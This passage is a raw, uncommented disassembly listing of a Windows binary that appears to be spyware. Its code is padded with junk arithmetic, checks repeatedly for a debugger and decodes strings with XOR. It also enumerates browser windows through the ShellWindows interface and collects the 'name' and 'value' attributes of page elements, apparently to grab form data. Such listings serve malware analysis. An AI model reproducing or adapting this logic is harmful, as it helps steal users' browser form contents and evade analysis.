dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_1], 73h movzx eax, [ebp+var_1] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1], al push ebx call sub_40C968 ; lstrlenW mov edi, eax call sub_40C794 ; GetProcessHeap push 0 push 0 push 1FFFh push esi push edi push ebx push 0 push 0 call sub_40C92C ; WideCharToMultiByte call sub_40C764 ; RtlGetLastWin32Error mov byte ptr [esi+edi], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_4068C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406911 proc near ; CODE XREF: sub_40696D+C1p var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi call sub_40C7D0 ; GetVersion cmp dword_442370, 0 jz short loc_406933 mov eax, dword_442370 push eax mov esi, [eax] call dword ptr [esi+8] loc_406933: ; CODE XREF: sub_406911+15j lea edi, [ebp+var_8] lea esi, aWrIo ; " -wR`iO" movsd movsd mov eax, [ebp+arg_0] mov eax, [eax+4] push eax mov esi, [eax] call dword ptr [esi+8] mov ebx, 1BD8h inc ebx mov eax, [ebp+arg_0] mov eax, [eax] push eax mov ebx, [eax] call dword ptr [ebx+8] mov eax, dword_442380 mov [ebp+var_C], eax call sub_40BC74 pop edi pop esi pop ebx leave retn sub_406911 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40696D proc near ; CODE XREF: sub_406D2E+54p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_16 = byte ptr -16h var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi mov ebx, [ebp+arg_0] call sub_40C794 ; GetProcessHeap mov [ebp+var_6], 366h sub [ebp+var_6], 7E1Dh and dword ptr [ebx], 0 and dword ptr [ebx+4], 0 push 0 call sub_40BC68 call sub_40C740 ; GetCurrentThreadId lea eax, [ebp+var_16] push eax push offset a9ba05972F6a811 ; "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}" call sub_40BC5C mov [ebp+var_4], eax xor eax, eax cmp [ebp+var_4], 0 setl al mov [ebp+var_24], eax test eax, eax jnz short loc_406A2D push ebx push offset dword_447B1C push 4 push 0 lea eax, [ebp+var_16] push eax call sub_40BC50 mov [ebp+var_4], eax lea edi, [ebp+var_1C] lea esi, aCsbS ; "cSB>s" mov ecx, 3 rep movsw xor eax, eax cmp [ebp+var_4], 0 setl al mov [ebp+var_28], eax test eax, eax jnz short loc_406A2D mov eax, dword_44238A mov [ebp+var_20], eax mov eax, ebx add eax, 4 push eax push offset dword_447B0C mov eax, [ebx] push dword ptr [ebx] mov edi, [eax] call dword ptr ds:0[edi] mov [ebp+var_4], eax xor eax, eax cmp [ebp+var_4], 0 setl al mov [ebp+var_2C], eax test eax, eax jnz short loc_406A2D xor eax, eax inc eax jmp short loc_406A3B ; --------------------------------------------------------------------------- loc_406A2D: ; CODE XREF: sub_40696D+4Fj ; sub_40696D+86j ... push ebx call sub_406911 pop ecx call sub_40C794 ; GetProcessHeap xor eax, eax loc_406A3B: ; CODE XREF: sub_40696D+BEj pop edi pop esi pop ebx leave retn sub_40696D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A40 proc near ; CODE XREF: sub_406D2E+86p var_1004A = byte ptr -1004Ah var_10044 = word ptr -10044h var_10042 = byte ptr -10042h var_1003C = byte ptr -1003Ch var_10034 = dword ptr -10034h var_1002F = byte ptr -1002Fh var_30 = dword ptr -30h var_29 = byte ptr -29h var_28 = word ptr -28h var_20 = dword ptr -20h var_14 = dword ptr -14h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1004Ch call sub_40C6B8 push ebx push esi push edi mov [ebp+var_E], 0ADBh sub [ebp+var_E], 2E5Bh cmp dword_442374, 0FFFFh jz short loc_406A6F and dword_44236C, 0 loc_406A6F: ; CODE XREF: sub_406A40+26j call sub_40C734 ; GetCurrentProcessId mov eax, dword_44236C cmp [ebp+arg_4], eax jz loc_406C9D call sub_40C734 ; GetCurrentProcessId mov eax, [ebp+arg_4] mov dword_44236C, eax cmp dword_442370, 0 jz short loc_406ABF call sub_40C734 ; GetCurrentProcessId mov eax, dword_442370 push eax mov esi, [eax] call dword ptr [esi+8] mov [ebp+var_10044], 0D6h inc [ebp+var_10044] and dword_442370, 0 loc_406ABF: ; CODE XREF: sub_406A40+56j lea edi, [ebp+var_1003C] lea esi, word_44238E movsd movsd push 0FFFFh lea eax, [ebp+var_1002F] push eax push [ebp+arg_4] call sub_40C998 ; GetWindowTextA call sub_40C794 ; GetProcessHeap push 1Bh push offset unk_446F14 call sub_406815 mov edi, 0Eh sub edi, dword_442364 push edi push eax lea edi, [ebp+var_1002F] push edi call sub_40181A add esp, 14h cmp eax, 0FFFFh jnz short loc_406B45 lea edi, [ebp+var_1004A] lea esi, word_442396 mov ecx, 3 rep movsw and dword_442370, 0 mov [ebp+var_10044], 1FF4h inc [ebp+var_10044] jmp loc_406C9D ; --------------------------------------------------------------------------- loc_406B45: ; CODE XREF: sub_406A40+D3j lea eax, [ebp+var_C] push eax mov eax, [ebp+arg_0] mov eax, [eax+4] push eax mov edi, [eax] call dword ptr [edi+1Ch] mov ebx, eax cmp [ebp+var_C], 0 jz loc_406C9D call sub_40C764 ; RtlGetLastWin32Error or ebx, ebx jnz loc_406C9D call sub_40C740 ; GetCurrentThreadId and [ebp+var_4], 0 cmp dword_442374, 0FFFFh jz short loc_406BA8 call sub_40C854 ; IsDebuggerPresent inc dword_442374 mov eax, [ebp+var_C] cmp dword_442374, eax jbe short loc_406BA0 and dword_442374, 0 loc_406BA0: ; CODE XREF: sub_406A40+157j mov eax, dword_442374 mov [ebp+var_4], eax loc_406BA8: ; CODE XREF: sub_406A40+141j ; sub_406A40+250j push 0 call sub_40CBD8 pop ecx mov [ebp+var_28], 2 mov eax, [ebp+var_4] mov [ebp+var_20], eax mov dword_442374, eax lea eax, [ebp+var_14] push eax lea esi, [ebp+var_28] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+arg_0] mov edi, [edi+4] push edi mov edi, [edi] call dword ptr [edi+20h] mov ebx, eax mov [ebp+var_8], 0E5h mov eax, [ebp+var_8] mov edx, eax add edx, eax mov [ebp+var_8], edx or ebx, ebx jnz short loc_406C65 push offset dword_442370 push offset dword_447B2C mov eax, [ebp+var_14] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax lea edi, [ebp+var_10042] lea esi, dword_44239C mov ecx, 3 rep movsw or ebx, ebx jnz short loc_406C65 mov [ebp+var_29], 22h sub [ebp+var_29], 83h lea eax, [ebp+var_10034] push eax mov eax, dword_442370 push eax mov edi, [eax] call dword ptr [edi+94h] mov ebx, eax call sub_40C740 ; GetCurrentThreadId or ebx, ebx jnz short loc_406C65 mov dword_442374, 0FFFFh mov eax, [ebp+arg_4] cmp [ebp+var_10034], eax jz short loc_406C9D loc_406C65: ; CODE XREF: sub_406A40+1B5j ; sub_406A40+1E6j ... cmp dword_442370, 0 jz short loc_406C79 mov eax, dword_442370 push eax mov esi, [eax] call dword ptr [esi+8] loc_406C79: ; CODE XREF: sub_406A40+22Cj mov [ebp+var_30], 48A1h add [ebp+var_30], 7310h inc [ebp+var_4] mov eax, [ebp+var_C] cmp [ebp+var_4], eax jb loc_406BA8 and dword_442370, 0 loc_406C9D: ; CODE XREF: sub_406A40+3Cj ; sub_406A40+100j ... pop edi pop esi pop ebx leave retn sub_406A40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406CA2 proc near ; CODE XREF: sub_406D2E+5E1p ; sub_406D2E+62Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_4423AC lea eax, ds:431C50h[eax] push eax call sub_40CC14 add esp, 0Ch mov [ebp+var_4], 0D2h xor edi, edi jmp short loc_406CE9 ; --------------------------------------------------------------------------- loc_406CCF: ; CODE XREF: sub_406CA2+49j mov eax, dword_4423AC add eax, edi lea eax, ds:431C50h[eax] movsx edx, byte ptr [eax] xor edx, 0FDh mov [eax], dl inc edi loc_406CE9: ; CODE XREF: sub_406CA2+2Bj cmp edi, esi jl short loc_406CCF mov eax, dword_4423AC add eax, esi mov byte ptr ds:dword_431C50[eax], 0 mov edi, dword_4423AC add dword_4423AC, 3 mov eax, dword_4423AC inc eax add eax, esi mov dword_4423AC, eax cmp eax, 0DC5h jle short loc_406D24 and dword_4423AC, 0 loc_406D24: ; CODE XREF: sub_406CA2+79j lea eax, dword_431C50[edi] pop edi pop esi leave retn sub_406CA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D2E proc near ; CODE XREF: sub_407E49+69p var_6381D = byte ptr -6381Dh var_6381C = byte ptr -6381Ch var_63816 = word ptr -63816h var_63814 = dword ptr -63814h var_6380F = byte ptr -6380Fh var_62810 = dword ptr -62810h var_6280C = dword ptr -6280Ch var_62808 = word ptr -62808h var_62806 = word ptr -62806h var_62804 = dword ptr -62804h var_62800 = word ptr -62800h var_627F8 = dword ptr -627F8h var_627F0 = word ptr -627F0h var_627E8 = dword ptr -627E8h var_627E0 = dword ptr -627E0h var_627DC = dword ptr -627DCh var_627D8 = dword ptr -627D8h var_627D4 = byte ptr -627D4h var_627D3 = byte ptr -627D3h var_627CC = word ptr -627CCh var_627CA = byte ptr -627CAh var_627C4 = byte ptr -627C4h var_627BF = byte ptr -627BFh var_627BC = word ptr -627BCh var_627BA = byte ptr -627BAh var_627B9 = byte ptr -627B9h var_627B8 = dword ptr -627B8h var_627B3 = byte ptr -627B3h var_626B4 = dword ptr -626B4h var_626B0 = dword ptr -626B0h var_626AC = dword ptr -626ACh var_626A8 = word ptr -626A8h var_626A0 = dword ptr -626A0h var_62694 = dword ptr -62694h var_62690 = dword ptr -62690h var_6268C = dword ptr -6268Ch var_62688 = dword ptr -62688h var_62684 = dword ptr -62684h var_62680 = dword ptr -62680h var_6267C = dword ptr -6267Ch var_62677 = byte ptr -62677h var_62674 = dword ptr -62674h var_6266D = byte ptr -6266Dh var_5269E = byte ptr -5269Eh var_5269A = word ptr -5269Ah var_52698 = dword ptr -52698h var_52694 = dword ptr -52694h var_52690 = byte ptr -52690h var_52688 = dword ptr -52688h var_52680 = word ptr -52680h var_52678 = dword ptr -52678h var_52674 = dword ptr -52674h var_5266F = byte ptr -5266Fh var_5266E = byte ptr -5266Eh var_5266D = byte ptr -5266Dh var_52667 = dword ptr -52667h var_52663 = byte ptr -52663h var_5265D = byte ptr -5265Dh var_52657 = byte ptr -52657h var_52656 = byte ptr -52656h var_52653 = byte ptr -52653h var_5264E = dword ptr -5264Eh var_52649 = byte ptr -52649h var_52644 = dword ptr -52644h var_52640 = dword ptr -52640h var_5263C = dword ptr -5263Ch var_52638 = byte ptr -52638h var_5262D = byte ptr -5262Dh var_5262C = dword ptr -5262Ch var_52626 = word ptr -52626h var_52624 = word ptr -52624h var_52622 = word ptr -52622h var_5261F = byte ptr -5261Fh var_5261E = byte ptr -5261Eh var_5261D = byte ptr -5261Dh var_5261C = dword ptr -5261Ch var_52618 = dword ptr -52618h var_52614 = dword ptr -52614h var_52610 = dword ptr -52610h var_52609 = byte ptr -52609h var_52608 = dword ptr -52608h var_52604 = dword ptr -52604h var_525FE = word ptr -525FEh var_525FC = dword ptr -525FCh var_525F6 = word ptr -525F6h var_525F4 = dword ptr -525F4h var_525EE = word ptr -525EEh var_525EC = dword ptr -525ECh var_525E8 = dword ptr -525E8h var_525E4 = dword ptr -525E4h var_525DF = byte ptr -525DFh var_524E0 = byte ptr -524E0h var_524D8 = dword ptr -524D8h var_524CC = dword ptr -524CCh var_524C8 = byte ptr -524C8h var_39E28 = byte ptr -39E28h var_21788 = word ptr -21788h var_21786 = word ptr -21786h var_21784 = dword ptr -21784h var_2177D = byte ptr -2177Dh var_1177E = word ptr -1177Eh var_1177C = word ptr -1177Ch var_10FAC = dword ptr -10FACh var_10FA8 = dword ptr -10FA8h var_10FA4 = dword ptr -10FA4h var_10001 = byte ptr -10001h var_2 = word ptr -2 push ebp mov ebp, esp mov eax, 63820h call sub_40C6B8 push ebx push esi push edi mov [ebp+var_525F6], 7310h movzx eax, [ebp+var_525F6] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_525F6], ax push offset aValue ; "value" call sub_40BC2C mov [ebp+var_10FA8], eax push offset aName ; "name" call sub_40BC2C mov [ebp+var_10FAC], eax lea eax, [ebp+var_52638] push eax call sub_40696D pop ecx or eax, eax jz loc_407E44 call sub_40C764 ; RtlGetLastWin32Error loc_406D95: ; CODE XREF: sub_406D2E+9Aj ; sub_406D2E+CBj ... push 0 call sub_40CBD8 call sub_40C854 ; IsDebuggerPresent call sub_40C9E0 ; GetForegroundWindow mov [ebp+var_52614], eax push eax lea eax, [ebp+var_52638] push eax call sub_406A40 add esp, 0Ch call sub_40C7C4 ; GetTickCount cmp dword_442370, 0 jz short loc_406D95 mov [ebp+var_52618], 4FCAh sub [ebp+var_52618], 3B66h lea eax, [ebp+var_525F4] push eax mov eax, dword_442370 push eax mov edi, [eax] call dword ptr [edi+48h] mov ebx, eax call sub_40C854 ; IsDebuggerPresent or ebx, ebx jnz short loc_406D95 lea eax, [ebp+var_525FC] push eax push offset dword_447ACC mov eax, [ebp+var_525F4] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov [ebp+var_5261C], 7776h add [ebp+var_5261C], 6412h or ebx, ebx jnz loc_407E25 call sub_40C734 ; GetCurrentProcessId lea eax, [ebp+var_5263C] push eax mov eax, dword_442370 push eax mov edi, [eax] call dword ptr [edi+78h] mov ebx, eax mov [ebp+var_5261D], 4 add [ebp+var_5261D], 1 or ebx, ebx jnz loc_407E02 push offset byte_41FB10 push [ebp+var_5263C] call sub_4068C1 add esp, 8 mov edi, eax inc edi mov [ebp+var_52644], edi mov eax, [ebp+var_52614] mov ds:dword_42FB14, eax lea eax, [ebp+var_525FE] push eax mov eax, dword_442370 push eax mov edi, [eax] call dword ptr [edi+7Ch] mov ebx, eax mov [ebp+var_5261E], 74h add [ebp+var_5261E], 1 or ebx, ebx jnz loc_407E02 cmp [ebp+var_525FE], 0 jnz loc_407E02 lea edi, [ebp+var_52649] lea esi, aObw8 ; "oW8" mov ecx, 5 rep movsb mov eax, dword_4423BB mov [ebp+var_5264E+1], eax mov [ebp+var_10001], 0 mov [ebp+var_2], 0 lea eax, [ebp+var_52604] push eax mov eax, [ebp+var_525FC] push eax mov edi, [eax] call dword ptr [edi+5Ch] mov ebx, eax mov [ebp+var_5261F], 10h movzx eax, [ebp+var_5261F] imul eax, 7B1Bh mov [ebp+var_5261F], al or ebx, ebx jnz loc_407E02 lea edi, [ebp+var_52653] lea esi, aQungz ; "QUnƒZ" mov ecx, 3 rep movsw lea eax, [ebp+var_52640] push eax mov eax, [ebp+var_52604] push eax mov edi, [eax] call dword ptr [edi+20h] mov ebx, eax call sub_40C7C4 ; GetTickCount or ebx, ebx jnz loc_407DED call sub_40C854 ; IsDebuggerPresent or [ebp+var_524CC], 0FFFFFFFFh loc_406F67: ; CODE XREF: sub_406D2E+B83j mov [ebp+var_52622], 1C5h add [ebp+var_52622], 47D9h and [ebp+var_52608], 0 and [ebp+var_52610], 0 cmp [ebp+var_524CC], 0FFFFFFFFh jnz short loc_406FD3 call sub_40C764 ; RtlGetLastWin32Error lea eax, [ebp+var_525E4] push eax mov eax, [ebp+var_525FC] push eax mov edi, [eax] call dword ptr [edi+38h] mov ebx, eax lea edi, [ebp+var_52678+1] lea esi, aKxafL ; "KxAf+/L" movsd movsd or ebx, ebx jnz loc_40789F mov [ebp+var_5266F], 40h add [ebp+var_5266F], 3Ch jmp loc_407112 ; --------------------------------------------------------------------------- loc_406FD3: ; CODE XREF: sub_406D2E+260j call sub_40C734 ; GetCurrentProcessId mov [ebp+var_52680], 17h mov eax, [ebp+var_524CC] mov [ebp+var_52678], eax lea eax, [ebp+var_52690] push eax lea eax, [ebp+var_52680] push eax mov eax, [ebp+var_52604] push eax mov esi, [eax] call dword ptr [esi+1Ch] call sub_40C7D0 ; GetVersion lea eax, [ebp+var_52608] push eax push offset dword_447AFC mov eax, [ebp+var_52688] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_4423CD mov [ebp+var_52694], eax or ebx, ebx jnz loc_40789F mov [ebp+var_5266F], 2Eh movzx eax, [ebp+var_5266F] imul eax, 392Ch mov [ebp+var_5266F], al lea eax, [ebp+var_52610] push eax mov eax, [ebp+var_52608] push eax mov edi, [eax] call dword ptr [edi+0D0h] mov ebx, eax call sub_40C764 ; RtlGetLastWin32Error or ebx, ebx jz short loc_4070AB call sub_40C794 ; GetProcessHeap mov eax, [ebp+var_52608] push eax mov esi, [eax] call dword ptr [esi+8] mov [ebp+var_5269A], 1EB8h movzx eax, [ebp+var_5269A] imul eax, 4A7Ch mov [ebp+var_5269A], ax jmp loc_40789F ; --------------------------------------------------------------------------- loc_4070AB: ; CODE XREF: sub_406D2E+348j lea eax, [ebp+var_525E4] push eax mov eax, [ebp+var_52610] push eax mov edi, [eax] call dword ptr [edi+38h] mov ebx, eax mov eax, dword_4423D1 mov [ebp+var_52698], eax or ebx, ebx jz short loc_407112 call sub_40C854 ; IsDebuggerPresent mov eax, [ebp+var_52610] push eax mov esi, [eax] call dword ptr [esi+8] mov byte ptr [ebp+var_5269A+1], 67h sub byte ptr [ebp+var_5269A+1], 4Ah mov eax, [ebp+var_52608] push eax mov esi, [eax] call dword ptr [esi+8] lea edi, [ebp+var_5269E] lea esi, a4yk3 ; "4Yk3" mov ecx, 5 rep movsb jmp loc_40789F ; --------------------------------------------------------------------------- loc_407112: ; CODE XREF: sub_406D2E+2A0j ; sub_406D2E+39Fj lea eax, [ebp+var_525EC] push eax mov eax, [ebp+var_525E4] push eax mov edi, [eax] call dword ptr [edi+24h] mov ebx, eax call sub_40C764 ; RtlGetLastWin32Error or ebx, ebx jnz loc_407D88 mov [ebp+var_52609], 0Ah movzx eax, [ebp+var_52609] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_52609], al and [ebp+var_21784], 0 jmp loc_40788D ; --------------------------------------------------------------------------- loc_40715A: ; CODE XREF: sub_406D2E+B6Bj call sub_40C740 ; GetCurrentThreadId push 0 call sub_40CBD8 pop ecx call sub_40C7C4 ; GetTickCount mov [ebp+var_626A8], 2 mov eax, [ebp+var_21784] mov [ebp+var_626A0], eax lea eax, [ebp+var_62694] push eax lea esi, [ebp+var_626A8] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_626A8] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_525E4] push edi mov edi, [edi] call dword ptr [edi+2Ch] mov ebx, eax lea edi, [ebp+var_627BF] lea esi, aB ; "~" mov ecx, 3 rep movsb or ebx, ebx jnz loc_407887 lea edi, [ebp+var_627C4] lea esi, aZrsh ; "ZRSH" mov ecx, 5 rep movsb and [ebp+var_626AC], 0 lea eax, [ebp+var_626AC] push eax push offset dword_447ADC mov eax, [ebp+var_62694] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov [ebp+var_626B0], 4352h mov eax, [ebp+var_626B0] mov edx, eax add edx, eax mov [ebp+var_626B0], edx or ebx, ebx jnz loc_407585 lea eax, [ebp+var_626B4] push eax mov eax, [ebp+var_626AC] push eax mov edi, [eax] call dword ptr [edi+0F0h] mov ebx, eax lea edi, [ebp+var_627CA] lea esi, aTxnve ; "TxN‚e" mov ecx, 3 rep movsw or ebx, ebx jnz loc_407585 mov ax, word_4423E8 mov [ebp+var_627CC], ax lea edi, [ebp+var_627D3] lea esi, aK80vdo ; "k80‚Do" mov ecx, 7 rep movsb lea eax, [ebp+var_62677] push eax push [ebp+var_626B4] call sub_4068C1 add esp, 8 mov edi, eax inc edi mov [ebp+var_6268C], edi call sub_40C764 ; RtlGetLastWin32Error and [ebp+var_52674], 0 jmp short loc_4072D8 ; --------------------------------------------------------------------------- loc_4072AF: ; CODE XREF: sub_406D2E+5B6j mov eax, [ebp+var_52674] mov al, [ebp+eax+var_62677] cmp al, 0Dh jz short loc_4072C4 cmp al, 0Ah jnz short loc_4072D2 loc_4072C4: ; CODE XREF: sub_406D2E+590j mov eax, [ebp+var_52674] mov [ebp+eax+var_62677], 0 loc_4072D2: ; CODE XREF: sub_406D2E+594j inc [ebp+var_52674] loc_4072D8: ; CODE XREF: sub_406D2E+57Fj mov eax, [ebp+var_6268C] cmp [ebp+var_52674], eax jb short loc_4072AF call sub_40C7D0 ; GetVersion cmp [ebp+var_524CC], 0FFFFFFFFh jnz short loc_40733F lea edi, [ebp+var_627DC+3] lea esi, a8vs ; "8VS^&" mov ecx, 3 rep movsw push 11h push offset aNPVE ; "Á°¼´³ºÐ»²¯°¢Ø¥ÃÝ" call sub_406CA2 push [ebp+var_21784] push eax lea edi, [ebp+var_627B3] push edi call sub_40CC50 lea eax, [ebp+var_627B3] push eax lea eax, [ebp+var_10001] push eax call sub_40CC74 add esp, 1Ch jmp short loc_4073AB ; --------------------------------------------------------------------------- loc_40733F: ; CODE XREF: sub_406D2E+5C4j mov word ptr [ebp+var_627D8+2], 41D1h add word ptr [ebp+var_627D8+2], 3FCCh push 13h push offset aPVEPVE ; "Á»¯¼°¸¢Ø¥Ð»²¯°¢Ø¥ÃÝ" call sub_406CA2 push [ebp+var_21784] push [ebp+var_524CC] push eax lea edi, [ebp+var_627B3] push edi call sub_40CC50 call sub_40C734 ; GetCurrentProcessId lea eax, [ebp+var_627B3] push eax lea eax, [ebp+var_10001] push eax call sub_40CC74 add esp, 20h mov [ebp+var_627D4], 0C9h movzx eax, [ebp+var_627D4] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_627D4], al loc_4073AB: ; CODE XREF: sub_406D2E+60Fj and [ebp+var_52674], 0 loc_4073B2: ; CODE XREF: sub_406D2E+731j mov eax, [ebp+var_52674] lea ecx, [ebp+eax+var_62677] or eax, 0FFFFFFFFh loc_4073C2: ; CODE XREF: sub_406D2E+699j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4073C2 mov [ebp+var_62680], eax cmp eax, 0 jz short loc_4073DB cmp eax, 0C8h jbe short loc_4073DD loc_4073DB: ; CODE XREF: sub_406D2E+6A4j jmp short loc_407446 ; --------------------------------------------------------------------------- loc_4073DD: ; CODE XREF: sub_406D2E+6ABj cmp [ebp+var_62680], 1 jnz short loc_4073F6 mov eax, [ebp+var_52674] cmp [ebp+eax+var_62677], 20h jz short loc_407446 loc_4073F6: ; CODE XREF: sub_406D2E+6B6j call sub_40C740 ; GetCurrentThreadId push 1 push offset aB_0 ; "" call sub_406CA2 push eax lea edi, [ebp+var_10001] push edi call sub_40CC74 call sub_40C794 ; GetProcessHeap mov eax, [ebp+var_52674] lea eax, [ebp+eax+var_62677] push eax lea eax, [ebp+var_10001] push eax call sub_40CC74 add esp, 18h mov [ebp+var_627B8], 60E9h inc [ebp+var_627B8] loc_407446: ; CODE XREF: sub_406D2E:loc_4073DBj ; sub_406D2E+6C6j mov eax, [ebp+var_62680] inc eax add [ebp+var_52674], eax mov eax, [ebp+var_6268C] cmp [ebp+var_52674], eax jb loc_4073B2 mov [ebp+var_627B9], 0B2h movzx eax, [ebp+var_627B9] imul eax, 2A9Dh mov [ebp+var_627B9], al and [ebp+var_62688], 0 lea ecx, [ebp+var_10001] or eax, 0FFFFFFFFh loc_40748F: ; CODE XREF: sub_406D2E+766j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40748F mov [ebp+var_62680], eax mov [ebp+var_52674], 0 jmp loc_407565 ; --------------------------------------------------------------------------- loc_4074AB: ; CODE XREF: sub_406D2E+843j mov word ptr [ebp+var_627D8+2], 6673h movzx eax, word ptr [ebp+var_627D8+2] mov edx, eax add edx, eax mov eax, edx mov word ptr [ebp+var_627D8+2], ax mov eax, [ebp+var_52674] cmp [ebp+eax+var_10001], 20h jz short loc_4074DF and [ebp+var_6267C], 0 loc_4074DF: ; CODE XREF: sub_406D2E+7A8j mov word ptr [ebp+var_627D8], 5E3Bh add word ptr [ebp+var_627D8], 7D94h cmp [ebp+var_6267C], 0 jnz short loc_407540 mov [ebp+var_627DC], 7B77h mov eax, 51B3h mul [ebp+var_627DC] mov [ebp+var_627E0], eax mov [ebp+var_627DC], eax mov eax, [ebp+var_62688] mov edx, [ebp+var_52674] mov dl, [ebp+edx+var_10001] mov [ebp+eax+var_10001], dl call sub_40C854 ; IsDebuggerPresent inc [ebp+var_62688] loc_407540: ; CODE XREF: sub_406D2E+7CAj mov eax, [ebp+var_52674] cmp [ebp+eax+var_10001], 20h jnz short loc_40755A mov [ebp+var_6267C], 1 loc_40755A: ; CODE XREF: sub_406D2E+820j call sub_40C854 ; IsDebuggerPresent inc [ebp+var_52674] loc_407565: ; CODE XREF: sub_406D2E+778j mov eax, [ebp+var_62680] cmp [ebp+var_52674], eax jb loc_4074AB mov eax, [ebp+var_62688] mov [ebp+eax+var_10001], 0 loc_407585: ; CODE XREF: sub_406D2E+4FBj ; sub_406D2E+52Fj and [ebp+var_62684], 0 lea eax, [ebp+var_62684] push eax push offset dword_447AEC mov eax, [ebp+var_62694] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax call sub_40C7C4 ; GetTickCount or ebx, ebx jnz loc_407855 call sub_40C794 ; GetProcessHeap lea eax, [ebp+var_62690] push eax mov eax, [ebp+var_62684] push eax mov edi, [eax] call dword ptr [edi+6Ch] mov ebx, eax or ebx, ebx jnz loc_407832 and [ebp+var_52678], 0 jmp loc_407819 ; --------------------------------------------------------------------------- loc_4075E5: ; CODE XREF: sub_406D2E+AF7j call sub_40C794 ; GetProcessHeap push 0 call sub_40CBD8 pop ecx mov [ebp+var_627F0], 2 mov eax, [ebp+var_52678] mov [ebp+var_627E8], eax lea eax, [ebp+var_627DC] push eax lea esi, [ebp+var_627F0] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_627F0] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_62684] push edi mov edi, [edi] call dword ptr [edi+74h] mov ebx, eax or ebx, ebx jnz loc_407813 call sub_40C794 ; GetProcessHeap and [ebp+var_627D8], 0 lea eax, [ebp+var_627D8] push eax push offset dword_447ADC mov eax, [ebp+var_627DC] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax call sub_40C764 ; RtlGetLastWin32Error or ebx, ebx jnz loc_4077E1 mov [ebp+var_62804], 1DE4h sub [ebp+var_62804], 0BA1h cmp [ebp+var_627D8], 0 jz loc_4077E1 mov [ebp+var_62806], 1B0Fh sub [ebp+var_62806], 4876h lea eax, [ebp+var_62800] push eax push 0 push [ebp+var_10FA8] mov eax, [ebp+var_627D8] push eax mov edi, [eax] call dword ptr [edi+20h] mov ebx, eax call sub_40C734 ; GetCurrentProcessId or ebx, ebx jnz loc_4077E1 mov eax, dword_4423F7 mov [ebp+var_62810], eax cmp [ebp+var_62800], 8 jnz loc_4077E1 movzx edi, [ebp+var_2] mov esi, [ebp+var_627D8] mov [ebp+edi*4+var_10FA4], esi movzx edi, [ebp+var_2] mov esi, [ebp+var_52678] mov [ebp+edi*2+var_1177C], si lea eax, [ebp+var_62800] push eax push 0 push [ebp+var_10FAC] mov eax, [ebp+var_627D8] push eax mov edi, [eax] call dword ptr [edi+20h] mov ebx, eax mov [ebp+var_62808], 3C9Dh movzx eax, [ebp+var_62808] imul eax, 22A9h mov [ebp+var_62808], ax or ebx, ebx jnz loc_4077DD call sub_40C764 ; RtlGetLastWin32Error mov ax, word_4423FB mov [ebp+var_63816], ax lea edi, [ebp+var_6381C] lea esi, aLbn?b ; "lbn?" mov ecx, 3 rep movsw lea eax, [ebp+var_6380F] push eax push [ebp+var_627F8] call sub_4068C1 add esp, 8 mov edi, eax inc edi mov [ebp+var_63814], edi call sub_40C764 ; RtlGetLastWin32Error cmp [ebp+var_6380F], 0 jz short loc_4077CC cmp edi, 64h jnb short loc_4077CC lea eax, [ebp+var_6380F] push eax movzx eax, [ebp+var_2] imul eax, 64h lea eax, [ebp+eax+var_39E28] push eax call sub_40C6D8 loc_4077CC: ; CODE XREF: sub_406D2E+A7Cj ; sub_406D2E+A81j lea edi, [ebp+var_6381D] lea esi, byte_442403 xor ecx, ecx inc ecx rep movsb loc_4077DD: ; CODE XREF: sub_406D2E+A26j inc [ebp+var_2] loc_4077E1: ; CODE XREF: sub_406D2E+94Bj ; sub_406D2E+96Cj ... cmp [ebp+var_627D8], 0 jz short $+2 mov [ebp+var_6280C], 346Bh sub [ebp+var_6280C], 3A2Ah cmp [ebp+var_627DC], 0 jz short loc_407813 mov eax, [ebp+var_627DC] push eax mov esi, [eax] call dword ptr [esi+8] loc_407813: ; CODE XREF: sub_406D2E+914j ; sub_406D2E+AD7j inc [ebp+var_52678] loc_407819: ; CODE XREF: sub_406D2E+8B2j mov eax, [ebp+var_62690] cmp [ebp+var_52678], eax jb loc_4075E5 jmp short loc_407887 ; --------------------------------------------------------------------------- call sub_40C734 ; GetCurrentProcessId loc_407832: ; CODE XREF: sub_406D2E+8A5j cmp [ebp+var_62684], 0 jz short loc_407847 